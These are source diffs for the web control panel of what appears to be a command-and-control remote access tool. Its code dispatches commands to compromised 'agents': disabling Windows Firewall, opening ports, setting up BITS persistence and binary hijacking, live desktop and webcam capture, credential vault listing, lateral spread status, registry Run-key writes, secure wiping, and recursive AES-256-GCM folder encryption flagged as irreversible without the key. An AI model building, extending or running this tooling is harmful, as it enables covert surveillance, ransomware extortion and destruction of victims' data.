const aggTitle = (action: AggressiveRemoteAction) =>
selectionAggressiveHint(action, selectedAgents) ??
aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);
const aggBulk = (
action: AggressiveRemoteAction,
args: Record<string, unknown> = {},
confirm?: string,
tgts = targets
) => {
if (!hasSelection || tgts.length === 0) return;
if (confirm && !window.confirm(confirm)) return;
bulkDispatch(action, args, tgts);
};
// Live desktop polling (single node)
useEffect(() => {
if (!liveDesktop || !singleOnline) return;
let focused = document.visibilityState === 'visible';
const onVis = () => { focused = document.visibilityState === 'visible'; };
document.addEventListener('visibilitychange', onVis);
const tick = () => {
if (!focused || !liveDesktopRef.current) return;
api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
};
const id = setInterval(tick, 3000);
tick();
return () => {
clearInterval(id);
document.removeEventListener('visibilitychange', onVis);
};
}, [liveDesktop, singleOnline]);
useEffect(() => () => setLiveDesktop(false), []);
const lastCameraMsg = useRef('');
useEffect(() => {
if (!commandResults?.length) return;
const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
if (!hit?.message || hit.message === lastCameraMsg.current) return;
lastCameraMsg.current = hit.message;
const devs = parseCameraListMessage(hit.message);
if (devs.length > 0) {
setCameras(devs);
setSelectedCamera(devs[0]);
}
}, [commandResults]);
const listCameras = async () => {
const agent = singleOnline ?? targets[0];
if (!agent) return;
onEcho('camera_list → ' + agent.name, true);
try {
const res = await api.sendAgentCommand(agent.id, 'camera_list');
if (res.success === false) {
onAgentError(agent.id, agent.name, 'camera_list', res.error);
return;
}
} catch (err) {
onAgentError(agent.id, agent.name, 'camera_list', err);
}
};
const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
if (winTargets.length === 0) {
alert('Registry ops require online Windows agent(s).');
return;
}
if (winTargets.length > 1 && !window.confirm(`Registry ${action} on ${winTargets.length} Windows nodes?`)) {
return;
}
const payload =
action === 'registry_read'
? { data: JSON.stringify({ hive: regHive, path: regPath }) }
: action === 'registry_write'
? {
data: JSON.stringify({
hive: regHive,
path: regPath,
name: regName,
value: regValue,
type: regType,
}),
}
: { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
bulkDispatch(action, payload, winTargets);
};
const sendWol = async () => {
const tgts = selectedAgents.length > 0 ? selectedAgents : [];
if (tgts.length === 0) return;
for (const a of tgts) {
try {
const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
onEcho(
res.success
? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
: `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
true
);
} catch (err) {
onAgentError(a.id, a.name, 'wol', err);
}
}
};
const pushUpgrade = () => {
const build = builds.find((b) => b.id === selectedBuildId);
if (!build?.download_url || targets.length === 0) return;
if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
bulkDispatch('upgrade', { data: build.download_url });
};
return (
<>
<CollapsibleGroup label="Network" className="cop-network" defaultOpen>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="C2 + pool DNS/TCP reachability JSON"
onClick={() => bulkDispatch('connectivity_probe')}
>
Connectivity Probe
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="TCP listeners table"
onClick={() => bulkDispatch('listen_ports')}
>
Listen Ports
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="Windows Update / patch exposure"
onClick={() => bulkDispatch('patch_status')}
>
Patch Status
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="ARP cache neighbors on shared subnets"
onClick={() => bulkDispatch('arp_neighbors')}
>
ARP Neighbors
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_punch')}
title={aggTitle('firewall_punch')}
onClick={() => aggBulk('firewall_punch', { command: '8989' })}
>
Open FW Port
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_off')}
title={aggTitle('firewall_off')}
onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}
>
FW Off
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_on')}
title={aggTitle('firewall_on')}
onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}
>
FW On
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_profiles')}
title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'}
onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}
>
FW Private Off
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_remove')}
title={aggTitle('firewall_remove')}
onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}
>
Remove FW Rules
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('hole_punch_status')}
title={aggTitle('hole_punch_status')}
onClick={() => aggBulk('hole_punch_status')}
>
WAN IP
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('hole_punch_close')}
title={aggTitle('hole_punch_close')}
onClick={() => aggBulk('hole_punch_close', { command: '8989' })}
>
Close UPnP
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('tunnel_stop')}
title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'}
onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}
>
Stop Tunnels
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('mesh_status')}
title={aggTitle('mesh_status')}
onClick={() => aggBulk('mesh_status')}
>
Mesh Peers
</button>
</CollapsibleGroup>
<CollapsibleGroup label="Persistence" className="cop-persist">
<button
className="button crucible-op-btn"
disabled={aggDisabled('bits_persist')}
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
onClick={() => aggBulk('bits_persist')}
>
BITS Persist
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('host_binary_persist')}
title={aggTitle('host_binary_persist') || 'Hijack host client binary'}
onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}
>
Host Binary
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="Read-only audit: Run keys, tasks, systemd/launchd"
onClick={() => bulkDispatch('persistence_audit')}
>
Persistence Audit
</button>
</CollapsibleGroup>
<CollapsibleGroup label="Fleet Maintenance" className="cop-maint" defaultOpen>
<div className="crucible-inline-row crucible-upgrade-row">
<select
className="crucible-inline-select"
value={selectedBuildId}
onChange={(e) => setSelectedBuildId(e.target.value)}
disabled={targets.length === 0}
>
<option value=""> pick build </option>
{builds.filter((b) => b.download_url).map((b) => (
<option key={b.id} value={b.id}>
{b.file_name ?? b.id} ({b.platform ?? 'win'})
</option>
))}
</select>
<button
className="button crucible-op-btn"
disabled={!selectedBuildId || targets.length === 0}
onClick={pushUpgrade}
>
Push Upgrade
</button>
</div>
{singleOnline && (
<button
className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`}
title="Poll screenshot every 3s while tab is focused"
onClick={() => setLiveDesktop((v) => !v)}
>
{liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
</button>
)}
<div className="crucible-inline-row">
<input
className="crucible-inline-input"
placeholder="MAC (optional)"
value={wolMac}
onChange={(e) => setWolMac(e.target.value)}
/>
<button
className="button crucible-op-btn"
disabled={!hasSelection}
title="POST /agents/{id}/wol — works when offline"
onClick={() => void sendWol()}
>
Wake-on-LAN
</button>
</div>
<button
type="button"
className="button crucible-op-btn crucible-op-muted"
onClick={() => setRegistryOpen((v) => !v)}
disabled={!hasSelection}
>
Registry {registryOpen ? '▲' : '▼'}
</button>
{registryOpen && (
<div className="crucible-registry-panel">
<div className="crucible-inline-row">
<select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
<option value="HKCU">HKCU</option>
<option value="HKLM">HKLM</option>
</select>
<input
className="crucible-inline-input"
value={regPath}
onChange={(e) => setRegPath(e.target.value)}
placeholder="Software\...\Run"
/>
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
<input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
</div>
<div className="crucible-inline-row">
<button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
<button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
<button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
</div>
<p className="form-hint" style={{ margin: 0, fontSize: '0.68rem' }}>
{targets.length > 1 ? 'Bulk registry ops apply to all online Windows selections (confirm).' : 'HKCU/HKLM under Software\\ or Environment.'}
</p>
</div>
)}
<div className="crucible-inline-row">
<input
className="crucible-inline-input"
placeholder="PID to kill"
value={killPid}
onChange={(e) => setKillPid(e.target.value)}
/>
<button
className="button crucible-op-btn"
disabled={!killPid.trim() || targets.length === 0}
onClick={() => {
if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
bulkDispatch('kill_process', { command: killPid.trim() });
}}
>
Kill Process
</button>
</div>
<div className="crucible-camera-row">
<button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
List Cameras
</button>
{cameras.length > 0 && (
<select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
<option value=""> first device </option>
{cameras.map((c) => (
<option key={c} value={c}>{c}</option>
))}
</select>
)}
<button
className="button crucible-op-btn"
disabled={targets.length === 0}
onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}
>
Camera Snap
</button>
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
<button
className="button crucible-op-btn"
disabled={!deletePath.trim() || targets.length === 0}
onClick={() => {
if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
bulkDispatch('delete_path', { path: deletePath.trim() });
}}
>
Delete File
</button>
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
<input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
<button
className="button crucible-op-btn"
disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0}
onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}
>
Move
</button>
</div>
<div className="crucible-phase-c-row">
<button
className="button crucible-op-btn"
disabled={aggDisabled('smb_shares') || winTargets.length === 0}
title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'}
onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}
>
SMB Shares
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="Last lateral spread sweep summary (JSON)"
onClick={() => bulkDispatch('spread_status')}
>
Spread Status
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('credential_vault_list')}
title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'}
onClick={() => aggBulk('credential_vault_list')}
>
Credential Names
</button>
<div className="crucible-inline-row" style={{ flex: '1 1 100%' }}>
<input
className="crucible-inline-input"
placeholder="secure_wipe folder path"
value={wipePath}
onChange={(e) => setWipePath(e.target.value)}
/>
<button
className="button crucible-op-btn"
disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
onClick={() => {
if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
bulkDispatch('secure_wipe', { path: wipePath.trim() });
}}
>
Secure Wipe
</button>
</div>
<CruciblePortForwardMatrix
selectedAgents={selectedAgents}
onEcho={onEcho}
onDispatch={(agent, action, args) => dispatchOne(agent, action, args)}
/>
</div>
</CollapsibleGroup>
</>
);
}

View File

@@ -0,0 +1,130 @@
import { useState } from 'react';
import type { Agent } from '../../types';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import {
buildSSHForwardPayload,
newPortForwardRow,
type PortForwardRow,
validatePortForwardRows,
windowsOnlineAgents,
} from '../../help/crucibleOps';
interface Props {
selectedAgents: Agent[];
onDispatch: (agent: Agent, action: string, args: Record<string, unknown>) => void | Promise<void>;
onEcho: (text: string, isCmd?: boolean) => void;
}
export default function CruciblePortForwardMatrix({ selectedAgents, onDispatch, onEcho }: Props) {
const [open, setOpen] = useState(false);
const [rows, setRows] = useState<PortForwardRow[]>(() => [newPortForwardRow()]);
const winTargets = windowsOnlineAgents(selectedAgents);
const tunnelAllowed = (agent: Agent) =>
canRunAggressiveAction('tunnel_ssh_forward', agent.capabilities, agent.platform);
const dispatchMatrix = () => {
const err = validatePortForwardRows(rows);
if (err) {
alert(err);
return;
}
if (winTargets.length === 0) {
alert('Select online Windows agent(s) for SSH local forwards.');
return;
}
const blocked = winTargets.find((a) => !tunnelAllowed(a));
if (blocked) {
alert(aggressiveActionHint('tunnel_ssh_forward', blocked.capabilities, blocked.platform));
return;
}
if (
!window.confirm(
`Start ${rows.length} SSH forward(s) on each of ${winTargets.length} Windows node(s)?`
)
) {
return;
}
for (const agent of winTargets) {
for (const row of rows) {
const payload = buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser);
if (!payload) continue;
void onDispatch(agent, 'tunnel_ssh_forward', { data: JSON.stringify(payload) });
}
}
onEcho(`tunnel_ssh_forward matrix → ${winTargets.length} node(s), ${rows.length} row(s)`, true);
};
const updateRow = (id: string, patch: Partial<PortForwardRow>) => {
setRows((prev) => prev.map((r) => (r.id === id ? { ...r, ...patch } : r)));
};
return (
<div className="crucible-portfwd-matrix">
<button
type="button"
className="button crucible-op-btn crucible-op-muted"
onClick={() => setOpen((v) => !v)}
disabled={winTargets.length === 0}
title="Multi-row SSH local forward on selected Windows nodes"
>
Port-Forward Matrix {open ? '▲' : '▼'}
</button>
{open && (
<div className="crucible-portfwd-body">
<p className="form-hint" style={{ margin: '0 0 0.4rem', fontSize: '0.68rem' }}>
Each row opens 127.0.0.1:local remote on {winTargets.length} Windows node(s).
</p>
<div className="crucible-portfwd-grid">
<span className="crucible-portfwd-head">Local</span>
<span className="crucible-portfwd-head">Remote host:port</span>
<span className="crucible-portfwd-head">SSH user</span>
<span className="crucible-portfwd-head" />
{rows.map((row) => (
<div key={row.id} className="crucible-portfwd-row">
<input
className="crucible-inline-input"
value={row.localPort}
onChange={(e) => updateRow(row.id, { localPort: e.target.value })}
placeholder="2222"
/>
<input
className="crucible-inline-input"
value={row.remoteHostPort}
onChange={(e) => updateRow(row.id, { remoteHostPort: e.target.value })}
placeholder="192.168.1.50:3389"
/>
<input
className="crucible-inline-input"
value={row.sshUser}
onChange={(e) => updateRow(row.id, { sshUser: e.target.value })}
placeholder="optional"
/>
<button
type="button"
className="button crucible-op-btn"
onClick={() => setRows((prev) => (prev.length <= 1 ? prev : prev.filter((r) => r.id !== row.id)))}
title="Remove row"
>
</button>
</div>
))}
</div>
<div className="crucible-inline-row">
<button
type="button"
className="button crucible-op-btn"
onClick={() => setRows((prev) => [...prev, newPortForwardRow()])}
>
+ Row
</button>
<button type="button" className="button crucible-op-btn" onClick={dispatchMatrix}>
Dispatch Matrix
</button>
</div>
</div>
)}
</div>
);
}

View File

@@ -29,7 +29,7 @@ function parseListDir(message: string): { path: string; entries: DirEntry[] } |
}
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
const [cwd, setCwd] = useState('C:\\');
const [cwd, setCwd] = useState('');
const [entries, setEntries] = useState<DirEntry[]>([]);
const [filter, setFilter] = useState('');
const [selected, setSelected] = useState<Set<string>>(new Set());

View File

@@ -1,6 +1,11 @@
.agents-list-panel {
flex: 1;
min-width: 0;
padding: 1rem;
border: 1px solid var(--border-brass);
border-radius: 2px;
background: rgba(8, 6, 4, 0.45);
box-shadow: var(--shadow-panel);
}
.agents-list-panel .agents-list {

View File

@@ -0,0 +1,137 @@
.remote-dir-browser {
border: 1px solid rgba(255, 34, 34, 0.35);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(40, 0, 0, 0.25);
margin-top: 0.5rem;
}
.rdb-header {
display: flex;
justify-content: space-between;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.35rem;
}
.rdb-title {
font-size: 0.68rem;
letter-spacing: 0.08em;
color: #ff8888;
}
.rdb-hint {
margin: 0 0 0.45rem;
font-size: 0.68rem;
}
.rdb-offline {
color: #ff6666;
font-size: 0.78rem;
margin: 0.25rem 0;
}
.rdb-path {
font-size: 0.72rem;
color: var(--neon-cyan);
margin-bottom: 0.35rem;
word-break: break-all;
}
.rdb-breadcrumb {
margin-bottom: 0.4rem;
flex-wrap: wrap;
display: flex;
align-items: center;
}
.rdb-crumb {
background: none;
border: none;
color: var(--neon-cyan, #0ff);
cursor: pointer;
font-size: 0.72rem;
padding: 0;
}
.rdb-sep {
opacity: 0.45;
margin: 0 0.15rem;
}
.rdb-list {
list-style: none;
margin: 0;
padding: 0;
max-height: 180px;
overflow-y: auto;
border: 1px solid #331111;
background: rgba(0, 0, 0, 0.35);
}
.rdb-row {
display: flex;
width: 100%;
justify-content: space-between;
align-items: center;
gap: 0.5rem;
text-align: left;
background: none;
border: none;
color: #ddd;
padding: 0.3rem 0.5rem;
cursor: pointer;
font-family: var(--font-tech);
font-size: 0.78rem;
}
.rdb-row:hover {
background: rgba(255, 34, 34, 0.12);
}
.rdb-dir {
color: #9fdcff;
}
.rdb-size {
color: #888;
font-size: 0.68rem;
flex-shrink: 0;
}
.rdb-actions {
display: flex;
align-items: center;
gap: 0.75rem;
margin-top: 0.5rem;
flex-wrap: wrap;
}
.rdb-recursive {
display: flex;
align-items: center;
gap: 0.35rem;
font-size: 0.75rem;
color: #bbb;
cursor: pointer;
}
.rdb-encrypt-btn {
background: linear-gradient(135deg, #7b0000 0%, #cc0000 100%);
border: 1px solid #ff2222;
color: #fff;
font-weight: 700;
letter-spacing: 0.05em;
font-size: 0.78rem;
padding: 0.35rem 0.75rem;
}
.rdb-encrypt-btn:disabled {
opacity: 0.45;
}
.rdb-err {
color: #ff6666;
font-size: 0.75rem;
margin: 0.35rem 0 0;
}

View File

@@ -0,0 +1,211 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import {
defaultBrowseRoot,
joinRemotePath,
parseListDirMessage,
pathBreadcrumbs,
type DirEntry,
} from '../../help/remoteDirBrowser';
import './RemoteDirBrowser.css';
interface Props {
agentId: string;
agentName?: string;
platform?: string;
online: boolean;
/** Encrypt targets — all online selected agents when multi-select */
encryptTargets: { id: string; name: string }[];
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
onTerminalLine?: (text: string, isCmd?: boolean) => void;
}
export default function RemoteDirBrowser({
agentId,
agentName,
platform,
online,
encryptTargets,
commandResults,
onTerminalLine,
}: Props) {
const [cwd, setCwd] = useState(() => defaultBrowseRoot(platform));
const [entries, setEntries] = useState<DirEntry[]>([]);
const [homeDir, setHomeDir] = useState('');
const [recursive, setRecursive] = useState(true);
const [busy, setBusy] = useState(false);
const [err, setErr] = useState('');
const sep = cwd.includes('/') ? '/' : '\\';
const crumbs = useMemo(() => pathBreadcrumbs(cwd), [cwd]);
const browseLabel = homeDir || cwd || 'agent home';
const refresh = useCallback(() => {
if (!online || !agentId) return;
setBusy(true);
setErr('');
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
}, [agentId, cwd, online]);
useEffect(() => {
setCwd(defaultBrowseRoot(platform));
setEntries([]);
setHomeDir('');
setErr('');
}, [agentId, platform]);
useEffect(() => {
refresh();
}, [refresh]);
useEffect(() => {
if (!commandResults?.length) return;
const last = [...commandResults]
.reverse()
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
if (!last) return;
if (last.action === 'list_dir') {
if (last.success) {
const parsed = parseListDirMessage(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
if (parsed.home_dir) setHomeDir(parsed.home_dir);
}
} else {
setErr(last.message);
}
setBusy(false);
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
setBusy(false);
onTerminalLine?.(
`${last.action} ${last.success ? 'OK' : 'FAIL'}${last.message.slice(0, 500)}`,
false
);
}
}, [commandResults, agentId, onTerminalLine]);
const navigate = (name: string, isDir: boolean) => {
if (!isDir && name !== '..') return;
setCwd(joinRemotePath(cwd, name));
};
const goHome = () => {
setCwd(homeDir || defaultBrowseRoot(platform));
};
const runEncrypt = () => {
const targets = encryptTargets.filter(Boolean);
if (targets.length === 0) {
alert('Select at least one online node.');
return;
}
const pathLabel = cwd || homeDir || '(agent home)';
const scope = recursive ? 'recursively' : 'non-recursively';
const warn =
targets.length > 1
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
if (!confirm(warn)) return;
setBusy(true);
onTerminalLine?.(
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
true
);
for (const t of targets) {
api
.sendAgentCommand(t.id, 'encrypt_path', {
path: cwd || homeDir,
command: recursive ? 'recursive' : '',
})
.catch((e) => {
onTerminalLine?.(
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
false
);
});
}
};
return (
<div className="remote-dir-browser">
<div className="rdb-header">
<span className="font-tech rdb-title">REMOTE BROWSER {agentName ?? agentId.slice(0, 8)}</span>
<button type="button" className="crucible-op-btn" disabled={!online || busy} onClick={refresh}>
Refresh
</button>
</div>
{!online && <p className="rdb-offline">Agent offline browse unavailable</p>}
<p className="rdb-hint form-hint">
Browse the remote machine filesystem. Encrypt runs on {encryptTargets.length} selected online node
{encryptTargets.length !== 1 ? 's' : ''}.
</p>
<div className="rdb-path font-tech" title={cwd || homeDir}>
{browseLabel}
</div>
<div className="rdb-breadcrumb font-tech">
<button type="button" className="rdb-crumb" onClick={goHome}>home</button>
{crumbs.map((c, i) => (
<span key={`${c}-${i}`}>
<span className="rdb-sep">/</span>
<button
type="button"
className="rdb-crumb"
onClick={() => {
const parts = crumbs.slice(0, i + 1);
const root = cwd.startsWith('/') ? '/' : '';
setCwd(root + parts.join(sep));
}}
>
{c}
</button>
</span>
))}
</div>
<ul className="rdb-list">
<li>
<button type="button" className="rdb-row" onClick={() => navigate('..', true)}>..</button>
</li>
{entries.map((e) => (
<li key={e.name}>
<button
type="button"
className={`rdb-row ${e.is_dir ? 'rdb-dir' : 'rdb-file'}`}
onClick={() => navigate(e.name, e.is_dir)}
title={e.is_dir ? 'Open folder' : `${e.size} bytes`}
>
{e.is_dir ? '📁' : '📄'} {e.name}
{!e.is_dir && (
<span className="rdb-size">
{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}
</span>
)}
</button>
</li>
))}
</ul>
<div className="rdb-actions">
<label className="rdb-recursive">
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
Recursive
</label>
<button
type="button"
className="button rdb-encrypt-btn"
disabled={!online || busy || encryptTargets.length === 0}
title="AES-256-GCM encrypt files at the current path on selected node(s)"
onClick={runEncrypt}
>
🔒 Encrypt path
</button>
</div>
{err && <p className="rdb-err">{err}</p>}
</div>
);
}

View File

@@ -0,0 +1,107 @@
.global-music-player {
position: fixed;
right: 1rem;
bottom: 1rem;
z-index: 900;
display: flex;
align-items: center;
gap: 0.45rem;
padding: 0.35rem 0.5rem 0.35rem 0.35rem;
border-radius: 4px;
border: 1px solid rgba(120, 90, 200, 0.28);
background: rgba(8, 6, 14, 0.82);
backdrop-filter: blur(10px);
box-shadow:
0 4px 18px rgba(0, 0, 0, 0.55),
0 0 1px rgba(0, 245, 255, 0.15);
pointer-events: auto;
opacity: 0.72;
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
}
.global-music-player:hover,
.global-music-player:focus-within {
opacity: 1;
border-color: rgba(0, 245, 255, 0.35);
box-shadow:
0 6px 22px rgba(0, 0, 0, 0.6),
0 0 14px rgba(0, 245, 255, 0.12);
}
.global-music-player__play {
display: flex;
align-items: center;
justify-content: center;
width: 1.75rem;
height: 1.75rem;
padding: 0;
border: 1px solid rgba(0, 245, 255, 0.3);
border-radius: 2px;
background: rgba(12, 18, 28, 0.9);
color: var(--neon-cyan, #00f5ff);
cursor: pointer;
flex-shrink: 0;
}
.global-music-player__play svg {
width: 0.85rem;
height: 0.85rem;
}
.global-music-player__play:hover {
border-color: var(--neon-cyan, #00f5ff);
box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
}
.global-music-player__vol {
display: flex;
align-items: center;
width: 4.5rem;
margin: 0;
}
.global-music-player__vol input[type='range'] {
width: 100%;
height: 3px;
margin: 0;
padding: 0;
border: none;
background: transparent;
accent-color: var(--neon-purple, #b24bf3);
cursor: pointer;
}
.global-music-player__vol input[type='range']::-webkit-slider-runnable-track {
height: 3px;
border-radius: 2px;
background: rgba(100, 80, 140, 0.45);
}
.global-music-player__vol input[type='range']::-webkit-slider-thumb {
-webkit-appearance: none;
width: 10px;
height: 10px;
margin-top: -3.5px;
border-radius: 50%;
background: var(--neon-cyan, #00f5ff);
box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
}
.sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0;
}
@media (max-width: 768px) {
.global-music-player {
right: 0.65rem;
bottom: calc(4.25rem + env(safe-area-inset-bottom, 0px));
}
}

View File

@@ -0,0 +1,48 @@
import { useAmbientMusic } from '../context/AmbientMusicContext';
import './GlobalMusicPlayer.css';
export default function GlobalMusicPlayer() {
const { enabled, playing, volume, setVolume, togglePlay } = useAmbientMusic();
return (
<div
className="global-music-player"
data-sfx="off"
role="region"
aria-label="Background music controls"
>
<button
type="button"
className="global-music-player__play"
onClick={togglePlay}
aria-label={playing ? 'Pause background music' : 'Play background music'}
title={playing ? 'Pause music' : enabled ? 'Play music' : 'Enable & play music'}
>
{playing ? (
<svg viewBox="0 0 24 24" aria-hidden="true">
<rect x="6" y="5" width="4" height="14" rx="1" fill="currentColor" />
<rect x="14" y="5" width="4" height="14" rx="1" fill="currentColor" />
</svg>
) : (
<svg viewBox="0 0 24 24" aria-hidden="true">
<path d="M8 5v14l11-7z" fill="currentColor" />
</svg>
)}
</button>
<label className="global-music-player__vol" title="Music volume">
<span className="sr-only">Music volume</span>
<input
type="range"
min={0}
max={100}
step={5}
value={Math.round(volume * 100)}
onChange={(e) => setVolume(parseInt(e.target.value, 10) / 100)}
aria-valuenow={Math.round(volume * 100)}
aria-valuemin={0}
aria-valuemax={100}
/>
</label>
</div>
);
}

View File

@@ -26,6 +26,7 @@ const NAV = [
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
@@ -85,6 +86,13 @@ function NavIcon({ type }: { type: string }) {
<path d="M10 12l1.5 2L14 11" />
</svg>
);
case 'ember':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<path d="M12 3c2 4 4 5 4 9a4 4 0 01-8 0c0-4 2-5 4-9z" />
<path d="M8 21h8" />
</svg>
);
case 'trace':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">

View File

@@ -1,159 +1,216 @@
import { useEffect, useState, type ReactNode } from 'react';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [degraded, setDegraded] = useState(false);
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
const [sessionExpired, setSessionExpired] = useState(false);
useEffect(() => {
const sync = () => {
const hasAuth = !!getStoredAuth();
setAuthed(hasAuth);
if (!hasAuth) {
setSessionExpired(consumeAuthExpiredFlag());
}
};
window.addEventListener('aetherforge-auth', sync);
return () => window.removeEventListener('aetherforge-auth', sync);
}, []);
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setSessionExpired(consumeAuthExpiredFlag());
setReady(true);
return;
}
fetch('/api/v1/config', { headers: authHeaders() })
.then((r) => {
if (r.status === 401) {
clearStoredAuth({ silent: true, expired: true });
setAuthed(false);
setSessionExpired(true);
} else if (!r.ok) {
// Server reachable but unhappy — keep saved credentials (degraded mode).
setAuthed(true);
setDegraded(true);
} else {
setAuthed(true);
setDegraded(false);
}
setReady(true);
})
.catch(() => {
// Network blip — trust stored credentials until the server responds.
